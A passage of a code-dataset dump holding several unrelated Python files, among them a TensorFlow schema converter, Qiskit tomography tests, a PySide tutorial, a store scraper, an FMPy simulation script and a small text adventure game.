\"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nfrom __future__ import absolute_import, division, print_function\n\nfrom typing import Union, Tuple, Dict # noqa: F401\n\nimport tensorflow as tf\nfrom tensorflow.python.lib.io import file_io\nfrom tensorflow_metadata.proto.v0.schema_pb2 import INT, FLOAT, BYTES, Schema\n\n\nclass TFTypeMapper(object):\n \"\"\"\n Helps to map between TensorFlow DTypes and tf.metadata Schema types (and back).\n \"\"\"\n\n # FIXME: TF DTypes are only partially supported:\n # https://www.tensorflow.org/api_docs/python/tf/DType\n _PB_TF_TYPES = {\n INT: [tf.int32, tf.int64],\n FLOAT: [tf.float32, tf.float64],\n BYTES: [tf.string, tf.bool]\n }\n\n def __init__(self):\n tf_to_pb_array = []\n for p, ts in self._PB_TF_TYPES.items():\n for t in ts:\n tf_to_pb_array.append((t, p))\n self._tf_to_pb = dict(tf_to_pb_array)\n self._int_domain_to_dtype = dict([((t.min, t.max), t) for t in self._PB_TF_TYPES[INT]])\n self._float_domain_to_dtype = dict([((t.min, t.max), t) for t in self._PB_TF_TYPES[FLOAT]])\n\n def proto_to_tf_type(self, feature, is_sparse=False):\n # type: (Schema.Feature, bool) -> tf.DType\n \"\"\"\n Go from tf.metadata Schema type to TensorFlow DTypes.\n \"\"\"\n proto_type = feature.type\n if proto_type == BYTES:\n if feature.HasField(\"bool_domain\"):\n return tf.bool\n return tf.string\n if proto_type == INT:\n k = self._extract_domain_min_max(feature, is_sparse)\n if k in self._int_domain_to_dtype:\n return self._int_domain_to_dtype[k]\n return tf.int64 # default\n if proto_type == FLOAT:\n k = self._extract_domain_min_max(feature, is_sparse)\n if k in self._float_domain_to_dtype:\n return self._float_domain_to_dtype[k]\n return tf.float32 # default\n raise Exception(\"Proto type not supported \" + proto_type)\n\n def tf_to_proto_type(self, tf_type):\n \"\"\"\n Go from TensorFlow DTypes to tf.metadata Schema type.\n \"\"\"\n return self._tf_to_pb[tf_type]\n\n @staticmethod\n def _extract_domain_min_max(feature, is_sparse=False):\n # type: (Schema.Feature, bool) -> Tuple[Union[int, float], Union[int, float]]\n proto_type = feature.type\n if is_sparse:\n if proto_type == INT:\n d = feature.domain.ints\n elif proto_type == FLOAT:\n d = feature.domain.floats\n else:\n raise Exception(\"Proto type not supported \" + proto_type)\n else:\n if proto_type == INT:\n d = feature.int_domain\n elif proto_type == FLOAT:\n d = feature.float_domain\n else:\n raise Exception(\"Proto type not supported \" + proto_type)\n return d.min, d.max\n\n\nclass SchemaToFeatureSpec(object):\n \"\"\"\n Convert from a tf.metadata Schema to a TensorFlow feature_spec object.\n \"\"\"\n\n _tf_type_mapper = TFTypeMapper()\n\n @classmethod\n def apply(cls, schema):\n # type: (Schema) -> Dict[str, Union[tf.FixedLenFeature, tf.VarLenFeature, tf.SparseFeature]] # noqa: E501\n \"\"\"\n Main entry point.\n \"\"\"\n decoded_feature_spec = dict(map(cls._parse_dense_feature, schema.feature))\n decoded_feature_spec.update(dict(map(cls._parse_sparse_feature, schema.sparse_feature)))\n return decoded_feature_spec.copy()\n\n @classmethod\n def _parse_dense_feature(cls, feature):\n # type: (Schema.Feature) -> Tuple[str, Union[tf.FixedLenFeature, tf.VarLenFeature]]\n dtype = cls._tf_type_mapper.proto_to_tf_type(feature)\n if feature.HasField(\"shape\"):\n shape = [d.size for d in feature.shape.dim if d.HasField(\"size\")]\n return feature.name, tf.FixedLenFeature(shape=shape,\n dtype=dtype)\n else:\n return feature.name, tf.VarLenFeature(dtype=dtype)\n\n @classmethod\n def _parse_sparse_feature(cls, feature):\n # type: (Schema.Feature) -> Tuple[str, tf.SparseFeature]\n if len(feature.index_feature) == 1:\n index_key = feature.index_feature[0].name\n else:\n index_key = [idf.name for idf in feature.index_feature]\n dtype = cls._tf_type_mapper.proto_to_tf_type(feature, is_sparse=True)\n if len(feature.dense_shape.dim) == 1:\n size = feature.dense_shape.dim[0].size\n else:\n size = [d.size for d in feature.dense_shape.dim]\n return feature.name, tf.SparseFeature(index_key=index_key,\n value_key=feature.value_feature.name,\n dtype=dtype,\n size=size)\n\n @staticmethod\n def parse_schema_file(schema_path): # type: (str) -> Schema\n \"\"\"\n Read a schema file and return the proto object.\n \"\"\"\n assert file_io.file_exists(schema_path), \"File not found: {}\".format(schema_path)\n schema = Schema()\n with file_io.FileIO(schema_path, \"rb\") as f:\n schema.ParseFromString(f.read())\n return schema\n\n\nclass FeatureSpecToSchema(object):\n \"\"\"\n Convert from a TensorFlow feature_spec object to a tf.metadata Schema.\n \"\"\"\n _tf_type_mapper = TFTypeMapper()\n\n @classmethod\n def apply(cls, feature_spec):\n # type: (Dict[str, Union[tf.FixedLenFeature, tf.VarLenFeature, tf.SparseFeature]]) -> Schema # noqa: E501\n \"\"\"\n Main entry point.\n \"\"\"\n schema_proto = Schema()\n for k, v in feature_spec.items():\n if isinstance(v, tf.SparseFeature):\n cls._add_sparse_feature_to_proto(schema_proto, k, v)\n else:\n cls._add_feature_to_proto(schema_proto, k, v)\n\n return schema_proto\n\n @classmethod\n def _add_feature_to_proto(cls, schema_proto, feature_name, feature_val):\n # type: (Schema, str, Union[tf.FixedLenFeature, tf.VarLenFeature]) -> None # noqa: E501\n f = schema_proto.feature.add()\n f.name = feature_name\n\n if hasattr(feature_val, \"shape\"):\n # fixlen features\n fixed_shape = f.shape\n\n if len(feature_val.shape) == 0:\n fixed_shape.dim.add()\n else:\n for s in feature_val.shape:\n dim = fixed_shape.dim.add()\n dim.size = s\n\n f.type = cls._tf_type_mapper.tf_to_proto_type(feature_val.dtype)\n\n if f.type == INT:\n f.int_domain.min = feature_val.dtype.min\n f.int_domain.max = feature_val.dtype.max\n if f.type == FLOAT:\n f.float_domain.min = feature_val.dtype.min\n f.float_domain.max = feature_val.dtype.max\n\n @classmethod\n def _add_sparse_feature_to_proto(cls, schema_proto, feature_name, feature_val):\n # type: (Schema, str, tf.SparseFeature) -> None\n f = schema_proto.sparse_feature.add()\n f.name = feature_name\n\n fv = f.value_feature\n fv.name = feature_val.value_key\n\n f.type = cls._tf_type_mapper.tf_to_proto_type(feature_val.dtype)\n\n fixed_shape = f.dense_shape\n if isinstance(feature_val.index_key, list):\n for index_name, f in zip(feature_val.index_key, feature_val.size):\n idf = f.index_feature.add()\n idf.name = index_name\n\n dim = fixed_shape.dim.add()\n dim.size = f\n else:\n idf = f.index_feature.add()\n idf.name = feature_val.index_key\n\n dim = fixed_shape.dim.add()\n dim.size = feature_val.size\n\n if f.type == INT:\n f.domain.ints.min = feature_val.dtype.min\n f.domain.ints.max = feature_val.dtype.max\n if f.type == FLOAT:\n f.domain.floats.min = feature_val.dtype.min\n f.domain.floats.max = feature_val.dtype.max\n","sub_path":"spotify_tensorflow/tf_schema_utils.py","file_name":"tf_schema_utils.py","file_ext":"py","file_size_in_byte":8648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"446666189","text":"# -*- coding: utf-8 -*-\n#\n# Copyright 2019, IBM.\n#\n# This source code is licensed under the Apache License, Version 2.0 found in\n# the LICENSE.txt file in the root directory of this source tree.\n\n# pylint: disable=missing-docstring\n\nimport unittest\n\nimport numpy\nimport qiskit\nfrom qiskit import QuantumRegister, QuantumCircuit, Aer\nfrom qiskit.quantum_info import state_fidelity\n\nimport qiskit.ignis.verification.tomography as tomo\n\n\ndef run_circuit_and_tomography(circuit, qubits):\n job = qiskit.execute(circuit, Aer.get_backend('statevector_simulator'))\n psi = job.result().get_statevector(circuit)\n qst = tomo.state_tomography_circuits(circuit, qubits)\n job = qiskit.execute(qst, Aer.get_backend('qasm_simulator'),\n shots=5000)\n tomo_counts = tomo.tomography_data(job.result(), qst)\n probs, basis_matrix, _ = tomo.fitter_data(tomo_counts)\n rho_cvx = tomo.state_cvx_fit(probs, basis_matrix)\n rho_mle = tomo.state_mle_fit(probs, basis_matrix)\n return (rho_cvx, rho_mle, psi)\n\n\nclass TestStateTomography(unittest.TestCase):\n\n def test_bell_2_qubits(self):\n q2 = QuantumRegister(2)\n bell = QuantumCircuit(q2)\n bell.h(q2[0])\n bell.cx(q2[0], q2[1])\n\n rho_cvx, rho_mle, psi = run_circuit_and_tomography(bell, q2)\n F_bell_cvx = state_fidelity(psi, rho_cvx)\n self.assertAlmostEqual(F_bell_cvx, 1, places=1)\n F_bell_mle = state_fidelity(psi, rho_mle)\n self.assertAlmostEqual(F_bell_mle, 1, places=1)\n\n def test_bell_3_qubits(self):\n q3 = QuantumRegister(3)\n bell = QuantumCircuit(q3)\n bell.h(q3[0])\n bell.cx(q3[0], q3[1])\n bell.cx(q3[1], q3[2])\n\n rho_cvx, rho_mle, psi = run_circuit_and_tomography(bell, q3)\n F_bell_cvx = state_fidelity(psi, rho_cvx)\n self.assertAlmostEqual(F_bell_cvx, 1, places=1)\n F_bell_mle = state_fidelity(psi, rho_mle)\n self.assertAlmostEqual(F_bell_mle, 1, places=1)\n\n def test_complex_1_qubit_circuit(self):\n q = QuantumRegister(1)\n circ = QuantumCircuit(q)\n circ.u3(1, 1, 1, q[0])\n\n rho_cvx, rho_mle, psi = run_circuit_and_tomography(circ, q)\n F_bell_cvx = state_fidelity(psi, rho_cvx)\n self.assertAlmostEqual(F_bell_cvx, 1, places=1)\n F_bell_mle = state_fidelity(psi, rho_mle)\n self.assertAlmostEqual(F_bell_mle, 1, places=1)\n\n def test_complex_3_qubit_circuit(self):\n def rand_angles():\n return tuple(2 * numpy.pi * numpy.random.random(3) - numpy.pi)\n\n q = QuantumRegister(3)\n circ = QuantumCircuit(q)\n for j in range(3):\n circ.u3(*rand_angles(), q[j])\n\n rho_cvx, rho_mle, psi = run_circuit_and_tomography(circ, q)\n F_bell_cvx = state_fidelity(psi, rho_cvx)\n self.assertAlmostEqual(F_bell_cvx, 1, places=1)\n F_bell_mle = state_fidelity(psi, rho_mle)\n self.assertAlmostEqual(F_bell_mle, 1, places=1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/tomography/test_state_tomography.py","file_name":"test_state_tomography.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"477118267","text":"\"\"\"\r\nZetCode PySide tutorial \r\n\r\nThis example shows an icon in the titlebar of the window.\r\nThis example shows a tooltip on a window and a button\r\n\r\nauthor: Jan Bodnar\r\nwebsite: zetcode.com \r\nlast edited: August 2011\r\n\"\"\"\r\nimport sys\r\nfrom PySide import QtGui, QtCore\r\nclass Example(QtGui.QWidget):\t#Example class inherits from QtGui.QWidget class. \r\n \r\n def __init__(self):\r\n super(Example, self).__init__()\r\n self.initUI()\r\n \r\n def initUI(self):\t#All three methods have been inherited from the QtGui.QWidget class. \r\n ### tooltip - start ###\r\n QtGui.QToolTip.setFont(QtGui.QFont('SansSerif', 10)) #This static method sets a font used to render tooltips.\r\n self.setToolTip('This is a QWidget widget') #To create a tooltip, we call the setTooltip() method. We can use rich text formatting.\r\n\r\n btn = QtGui.QPushButton('Button', self)\t#We create a button widget\r\n btn.setToolTip('This is a QPushButton widget')\t#set a tooltip for it.\r\n \r\n btn.resize(btn.sizeHint()) #The button is being resized and moved on the window.\r\n \t\t\t\t\t\t #The sizeHint() method gives a recommended size for the button.\r\n btn.move(50, 50) \r\n ### tooltip - end ###\r\n ###Quit button ###\r\n qbtn=QtGui.QPushButton('Quit', self)\r\n qbtn.setToolTip('This is a Quit widget')\r\n qbtn.clicked.connect(QtCore.QCoreApplication.instance().quit)\r\n ''' If we click on the button, the signal clicked is emitted.\r\n # The slot can be a Qt slot or any Python callable.\r\n # The QtCore.QCoreApplication contains the main event loop. It processes and\r\n # dispatches all events. The instance() method gives us the current instance.\r\n # Note that QtCore.QCoreApplication is created with the QtGui.QApplication. \r\n The clicked signal is connected to the quit() method, which terminates\r\n the application. The communication is done between two objects. The sender\r\n and the receiver. The sender is the push button, the receiver is\r\n the application object.'''\r\n qbtn.resize(qbtn.sizeHint())\r\n qbtn.move(150, 50) \r\n ###Quit button - end ###\r\n\r\n #########icon - start ###############\r\n # self.setGeometry(300, 300, 250, 150)\r\n #locates the window on the screen and sets the size of the window.\r\n #The first two parameters are the x and y positions of the window.\r\n #The third is the width and the fourth is the height of the window.\r\n self.setWindowTitle('Testing')\r\n self.setWindowIcon(QtGui.QIcon('list_icon_world')) \r\n \t##########icon - end ##########\r\n ### Center Window ###\r\n self.resize(250,150)\r\n self.center #The code that will center the window is placed in the custom center() method.\r\n ### Center Window - end ###\r\n self.show()\r\n# If we close the QtGui.QWidget, the QCloseEvent is generated. To modify the\r\n# widget behaviour we need to reimplement the closeEvent() event handler.\r\n def closeEvent(self, event):\r\n \r\n reply = QtGui.QMessageBox.question(self, 'Message',\r\n \"Are you sure to quit?\", QtGui.QMessageBox.Yes | \r\n QtGui.QMessageBox.No, QtGui.QMessageBox.No)\r\n\r\n if reply == QtGui.QMessageBox.Yes:\r\n event.accept()\r\n else:\r\n event.ignore() \r\n\r\n def center(self):\r\n # We get a rectangle specifying the geometry of the main window. \r\n # This includes any window frame.\r\n qr = self.frameGeometry()\r\n cp = QtGui.QDesktopWidget().availableGeometry().center()\r\n qr.moveCenter(cp)\r\n self.move(qr.topLeft())\r\n pass\r\n# We put the startup code inside the main() method. This is a Python idiom. \r\ndef main():\r\n app = QtGui.QApplication(sys.argv)\r\n ex = Example()\r\n sys.exit(app.exec_())\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"pyside_2.py","file_name":"pyside_2.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"459492591","text":"from KongTestPlanToReport import kongTestPlanToReport\nimport os\nimport KongUtil\n\nclass ComponentMeta(object):\n def __init__(self, component, testCaseList):\n self.component = component\n self.testCases = self.__RemoveSpace(testCaseList)\n \n \n def __RemoveSpace(self, testCaseList):\n return map(lambda x: x.strip().replace(' ', ''), testCaseList)\n \n \n def CreateMetaFile(self, \n testSuite,\n testType,\n feature,\n autoFlag,\n description,\n testCases,\n gitLink,\n createdDate,\n ):\n contentTmpl = \"\"\"[TEST_CONFIG]\nTEST_SUITE_NAME = {testSuite}\nCOMPONENT = {component}\nTEST_CASE_TYPE = {testType}\nFEATURE = {feature}\nAUTOMATION = {autoFlag}\nRCA = no\nDESCRIPTION = {description}\nTRACEABILITY = \n\nTEST_CASE_LIST = \"\n{testCases}\n\"\n\nGIT_LINK = \"{gitLink}\"\n \nCREATED_DATE = {createdDate}\n\nRELEASE_NAME = \n\"\"\"\n content = contentTmpl.format(testSuite = testSuite,\n component = self.component,\n testType = testType,\n feature = feature,\n autoFlag = autoFlag,\n description = description,\n testCases = '\\n'.join([' '*4 + x for x in testCases]),\n gitLink = gitLink,\n createdDate = createdDate,\n )\n \n tempFile = './test_case.conf'\n with open(tempFile, 'w') as fd:\n fd.write(content)\n \n return tempFile\n\n\ndef main():\n for component in kongTestPlanToReport:\n testResults = kongTestPlanToReport[component]\n tests = sorted(testResults.keys())\n\n cwd = os.getcwd()\n os.mkdir(os.path.join(cwd, component))\n os.chdir(os.path.join(cwd, component))\n \n meta = ComponentMeta('networking-kong', tests)\n meta.CreateMetaFile(testSuite = component,\n testType = 'Functional',\n feature = component,\n autoFlag = 'yes',\n description = 'networking kong test cases for ' + component,\n testCases = meta.testCases,\n gitLink = 'http://git.wrs.com/cgit/projects/wassp-repos/testcases/vxworks7/tree/networking-kong/' + component,\n createdDate = KongUtil.TodayStr(),\n )\n os.chdir(cwd)\n \n \nif __name__ == '__main__':\n main()\n \n","sub_path":"practical_script_study/createLTAFMeta.py","file_name":"createLTAFMeta.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"595589897","text":"# This bot simply echo inline query message\n\nimport sys\nimport telepot\nfrom telepot.delegate import pave_event_space, per_chat_id, create_open\nimport configparser\n\n# read bot's token from configfile\ndef getBotToken(configFilePath):\n config = configparser.ConfigParser()\n config.read(configFilePath)\n TOKEN = config.get('bbkim_test_bot_INFO', 'TOKEN')\n\n return TOKEN\n\n\nclass MessageCounter(telepot.helper.ChatHandler):\n def __init__(self, *args, **kwargs):\n super(MessageCounter, self).__init__(*args, **kwargs)\n self._count = 0\n\n def on_chat_message(self, msg):\n self._count += 1\n self.sender.sendMessage(self._count)\n\n\nif __name__ == \"__main__\":\n\n # read bot's token from configfile\n configFilePath = 'bbkimBot_config.conf'\n TOKEN = getBotToken(configFilePath)\n\n\n bot = telepot.DelegatorBot(TOKEN, [\n pave_event_space()(\n per_chat_id(), create_open, MessageCounter, timeout=10),\n ])\n bot.message_loop(run_forever='Listening ...')","sub_path":"introductionExample/maintainThread.py","file_name":"maintainThread.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"542937079","text":"#!/usr/bin/python3\nfrom subprocess import check_output, STDOUT, CalledProcessError\nimport sys\nimport os\n\n\ndef call(cmd):\n try:\n result = check_output(cmd.split(), stderr=STDOUT, timeout=5).decode('utf-8')\n except CalledProcessError as e:\n result = e.output.decode('utf-8') + \"exit code: \" + str(e.returncode)\n return result\n\n\ndef testall():\n test_names = [x[:-3] for x in os.listdir('.')\n if x.endswith('.bb')\n if os.path.isfile(x[:-3] + '.ok')]\n if not test_names:\n print(' nothing to do...')\n return\n for filename in test_names:\n test(filename)\n\n\ndef test(testname):\n print(\" --- \", testname, end=\" ...\")\n output = call('../cmake-build-debug/backbone flatten ' + testname + '.bb')\n with open(testname + \".ok\", \"r\") as f:\n reference = f.read()\n output = output.strip()\n reference = reference.strip()\n if output != reference:\n print(\" fail --- \")\n print(\" EXPECTED:\")\n print(reference)\n print(\" FOUND:\")\n print(output)\n else:\n print(\" pass --- \")\n\n\nif len(sys.argv) == 1:\n testall()\nelse:\n test(sys.argv[1])\n","sub_path":"flatten-tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"327406502","text":"import logging\nfrom decimal import Decimal\n\nfrom bs4 import BeautifulSoup\n\nfrom storescraper.categories import MONITOR, KEYBOARD, MOUSE, HEADPHONES, \\\n COMPUTER_CASE, GAMING_CHAIR, POWER_SUPPLY, RAM, PROCESSOR, MOTHERBOARD, \\\n CPU_COOLER, VIDEO_CARD, SOLID_STATE_DRIVE\nfrom storescraper.product import Product\nfrom storescraper.store import Store\nfrom storescraper.utils import session_with_proxy, remove_words\n\n\nclass DcComputer(Store):\n @classmethod\n def categories(cls):\n return [\n MONITOR,\n MOUSE,\n KEYBOARD,\n HEADPHONES,\n COMPUTER_CASE,\n GAMING_CHAIR,\n POWER_SUPPLY,\n RAM,\n PROCESSOR,\n MOTHERBOARD,\n CPU_COOLER,\n VIDEO_CARD,\n SOLID_STATE_DRIVE,\n ]\n\n @classmethod\n def discover_urls_for_category(cls, category, extra_args=None):\n url_extensions = [\n ['monitores', MONITOR],\n ['perifericos/mouse', MOUSE],\n ['perifericos/teclados', KEYBOARD],\n ['audifonos', HEADPHONES],\n ['gabinetes', COMPUTER_CASE],\n ['sillas-gamer', GAMING_CHAIR],\n ['componentes/fuentes-de-poder', POWER_SUPPLY],\n ['componentes/memorias-ram', RAM],\n ['componentes/procesadores', PROCESSOR],\n ['componentes/placas-madres', MOTHERBOARD],\n ['componentes/refrigeracion', CPU_COOLER],\n ['componentes/tarjeta-de-video', VIDEO_CARD],\n ['componentes/unidad-de-estado-solido-ssd', SOLID_STATE_DRIVE],\n ]\n\n session = session_with_proxy(extra_args)\n product_urls = []\n for url_extension, local_category in url_extensions:\n if local_category != category:\n continue\n page = 1\n while True:\n if page > 10:\n raise Exception('page overflow: ' + url_extension)\n\n url_webpage = 'https://dccomputer.cl/categoria-producto/' \\\n '{}/page/{}/'.format(url_extension, page)\n print(url_webpage)\n response = session.get(url_webpage)\n soup = BeautifulSoup(response.text, 'html.parser')\n product_containers = soup.findAll('li', 'product')\n\n if not product_containers:\n if page == 1:\n logging.warning('empty category' + url_extension)\n break\n for container in product_containers:\n product_url = container.find('a')['href']\n product_urls.append(product_url)\n page += 1\n return product_urls\n\n @classmethod\n def products_for_url(cls, url, category=None, extra_args=None):\n print(url)\n session = session_with_proxy(extra_args)\n response = session.get(url)\n soup = BeautifulSoup(response.text, 'html.parser')\n name = soup.find('h1', 'product_title').text\n key = soup.find('link', {'rel': 'shortlink'})['href'].split('p=')[-1]\n sku_tag = soup.find('span', 'sku')\n\n if sku_tag:\n sku = sku_tag.text.strip()\n else:\n sku = None\n\n if soup.find('p', 'stock out-of-stock'):\n stock = 0\n else:\n stock = int(soup.find('p', 'stock').text.split()[0])\n\n offer_price = Decimal(remove_words(soup.find('p', 'price').findAll(\n 'bdi')[-1].text))\n normal_price = (offer_price * Decimal('1.04')).quantize(0)\n picture_urls = [tag['src'] for tag in soup.find('div', 'woocommerce'\n '-product-gallery').findAll('img')]\n p = Product(\n name,\n cls.__name__,\n category,\n url,\n url,\n key,\n stock,\n normal_price,\n offer_price,\n 'CLP',\n sku=sku,\n picture_urls=picture_urls,\n part_number=sku\n )\n return [p]\n","sub_path":"storescraper/stores/dc_computer.py","file_name":"dc_computer.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"456662022","text":"class Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n counts = collections.Counter(nums)\n \n h = []\n \n for elem in counts:\n heapq.heappush(h, (counts[elem], elem))\n \n klargest = heapq.nlargest(k, h)\n \n result = []\n \n for item in klargest:\n result.append(item[1])\n \n return result","sub_path":"347-top-k-frequent-elements.py","file_name":"347-top-k-frequent-elements.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"277053153","text":"\"\"\"Example of FMPy-based simulation.\"\"\"\nimport json\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom fmpy import dump\nfrom fmpy import extract\nfrom fmpy import instantiate_fmu\nfrom fmpy import read_model_description\nfrom fmpy import simulate_fmu\nfrom fmpy.util import read_csv\nfrom fmpy.util import write_csv\n\nfrom modestpy.utilities.sysarch import get_sys_arch\n\n\ndef df_to_struct_arr(df):\n \"\"\"Converts a DataFrame to structured array.\"\"\"\n struct_arr = np.rec.fromrecords(df, names=df.columns.tolist())\n\n return struct_arr\n\n\ndef struct_arr_to_df(arr):\n \"\"\"Converts a structured array to DataFrame.\"\"\"\n df = pd.DataFrame(arr).set_index(\"time\")\n\n return df\n\n\n# Paths\nfmu_path = f\"examples/simple/resources/Simple2R1C_ic_{get_sys_arch()}.fmu\"\ninput_path = \"examples/simple/resources/inputs.csv\"\nknown_path = \"examples/simple/resources/known.json\"\nest_path = \"examples/simple/resources/est.json\"\n\n# Print some info about the FMU\ndump(fmu_path)\n\n# Instantiate FMU\nmodel_desc = read_model_description(fmu_path)\nunzipdir = extract(fmu_path)\nfmu = instantiate_fmu(unzipdir, model_desc)\n\n# Input\ninp_df = pd.read_csv(input_path)\ninp_struct = df_to_struct_arr(inp_df)\n\n# Parameters\nwith open(known_path, \"r\") as f:\n start_values = json.load(f)\n\n# Declare output names\n# output = []\n\n# Start and stop time\nstart_time = inp_df[\"time\"].iloc[0]\nstop_time = inp_df[\"time\"].iloc[-1]\noutput_interval = inp_df[\"time\"].iloc[1] - inp_df[\"time\"].iloc[0]\n\n# Reset the FMU instance instead of creating a new one\nfmu.reset()\n\n# Simulate\nresult = simulate_fmu(\n filename=fmu_path,\n start_values=start_values,\n start_time=start_time,\n stop_time=stop_time,\n input=inp_struct,\n output=None,\n output_interval=output_interval,\n fmu_instance=fmu,\n)\n\n# Free the FMU instance and free the shared library\nfmu.freeInstance()\n\n# Result to DataFrame\nresult = struct_arr_to_df(result)\nprint(result)\nplt.plot(result)\nplt.show()\n","sub_path":"modestpy/fmi/fmpy_test.py","file_name":"fmpy_test.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"63670884","text":"from typing import List\n\nclass Solution:\n def findMinArrowShots(self, points: List[List[int]]) -> int:\n points = sorted(points, key=lambda x : x[1])\n ans = 1\n cur_end = points[0][1]\n for start, end in points:\n if start > cur_end: \n ans += 1\n cur_end = end\n return ans","sub_path":"2023/452.py","file_name":"452.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"181565140","text":"class Room:\n def __init__(self, width, height, name, door, backDoor, item):\n self.width = width\n self.height = height\n self.name = name\n self.door = door\n self.backDoor = backDoor\n self.item = item\n\nclass Person:\n def __init__(self, inventory, xPos , yPos):\n self.inventory = inventory\n self.xPos = xPos\n self.yPos = yPos\n\n def initalPosition(self, Room):\n self.xPos = (Room.width + 1) / 2\n self.yPos = 1\n \n def currentLocation(self):\n print(self.xPos, self.yPos)\n\n def move(self, direction, Room):\n print(Room.name)\n print(mainCharacter.xPos, mainCharacter.yPos)\n if (direction.lower() == 'up'):\n storeYPos = self.yPos\n self.yPos = self.yPos + 1 \n\n if (direction.lower() == 'down'):\n storeYPos = self.yPos\n self.yPos = self.yPos - 1 \n\n if (direction.lower() == 'left'):\n storeXPos = self.xPos\n self.xPos = self.xPos - 1 \n\n if (direction.lower() == 'right'):\n storeXPos = self.xPos \n self.xPos = self.xPos + 1\n \n if (self.xPos <= 0 or self.xPos > Room.width):\n print(\"Your next to a wall\")\n self.xPos = storeXPos\n \n if (self.yPos <= 0 or self.yPos > Room.height):\n print(\"Your next to a wall\")\n self.yPos = storeYPos\n\n# End of classes, moving on to room functionality\n\nmainCharacter = Person([], 0, 0)\n\n# def checkForDoorHallways(Person, Room):\n# xFirst = Room.door[0]\n# yFirst = Room.door[1]\n\n# xSecond = Room.door[2]\n# ySecond = Room.door[3]\n\n# if Person.xPos == (xFirst or xSecond) and Person.yPos == (yFirst or ySecond):\n# print(\"There is a door in front of you do you wish to proceed. (Types yes or no)\")\n# if Person.xPos == xFirst:\n# print(\"This is the door from the room you are in\")\n# return 1\n# else:\n# return 2\n \n\n# def hallWay():\n# global mainCharacter \n# HALLWAY = Room(1,3, \"HALLWAY\", [1,1,1,3], None)\n# mainCharacter.initalPosition(HALLWAY)\n\n# while(True):\n# mainCharacter.move(input(), hallWay)\n\n# if checkForDoorHallways(mainCharacter, HALLWAY) == 1:\n# return 1\n\n# else:\n# return 2\n\n'''Potential code for hallways in the future'''\n'''Code can also be very easily modified for others to build there own game'''\n'''Creating rooms using a constructor and objects makes this very easy'''\n\n\ndef checkForDoorRooms(Person, Room):\n xForDoor = Room.door[0]\n yForDoor = Room.door[1]\n if (Person.xPos == xForDoor and Person.yPos == yForDoor):\n return True\n\ndef roomOne(): \n global mainCharacter\n firstRoom = Room(3, 3, \"firstRoom\", [2,3], None, None)\n mainCharacter.initalPosition(firstRoom)\n\n while (True):\n mainCharacter.move(input(), firstRoom)\n if checkForDoorRooms(mainCharacter, firstRoom):\n if (input(\"There is a portal in front of you do you wish to proceed. (Types yes or no)\") == 'yes' or 'Yes'):\n roomTwo()\n break\n\ndef test():\n print('hello')\n\ndef roomTwo(): \n global mainCharacter\n secondRoom = Room(5,5, \"secondRoom\", [5, 3], [5,6], None)\n mainCharacter.initalPosition(secondRoom)\n\n while(True):\n mainCharacter.move(input(), secondRoom)\n if checkForDoorRooms(mainCharacter, secondRoom):\n if (input(\"There is a portal in front of you do you wish to proceed. (Types yes or no)\") == 'yes' or 'Yes'):\n test()\n break\n\n\n\n\ndef startGame():\n roomOne()\n\nstartGame()\n","sub_path":"Closer.py","file_name":"Closer.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"9109914","text":"import sys\n\ndef binary_representation(char):\n binary_string = bin(ord(char))[2:]\n while len(binary_string) != 8:\n binary_string = '0' + binary_string\n return binary_string\n\ndef main():\n hash_file_name = sys.argv[1]\n input_length = int(sys.argv[2])\n output_length = int(sys.argv[3])\n save_input_file_name = sys.argv[4]\n hash_output_file_name = sys.argv[5]\n \n hash_file = open(hash_file_name, 'r')\n \n save_input_file = open(save_input_file_name, 'w')\n hash_output_file = open(hash_output_file_name, 'w')\n \n while 1:\n input = hash_file.read(input_length)\n output = hash_file.read(output_length)\n hash_file.read(1)\n \n if input == '':\n break\n \n input_binary = ''\n for input_char in input:\n input_binary += binary_representation(input_char)\n \n output_binary = ''\n for output_char in output:\n output_binary += binary_representation(output_char)\n \n save_input_file.write(input_binary + '\\n')\n hash_output_file.write(output_binary + '\\n')\n \n save_input_file.close()\n hash_output_file.close()\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"separate_hash.py","file_name":"separate_hash.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"355649544","text":"#!/usr/bin/env python3\n# @wapiflapi & @n30m1nd\n\nimport re\nimport html\nimport random\nimport codecs\n\n\nclass State(list):\n\n def __init__(self, *args, **kwargs):\n self.errors = []\n self.info 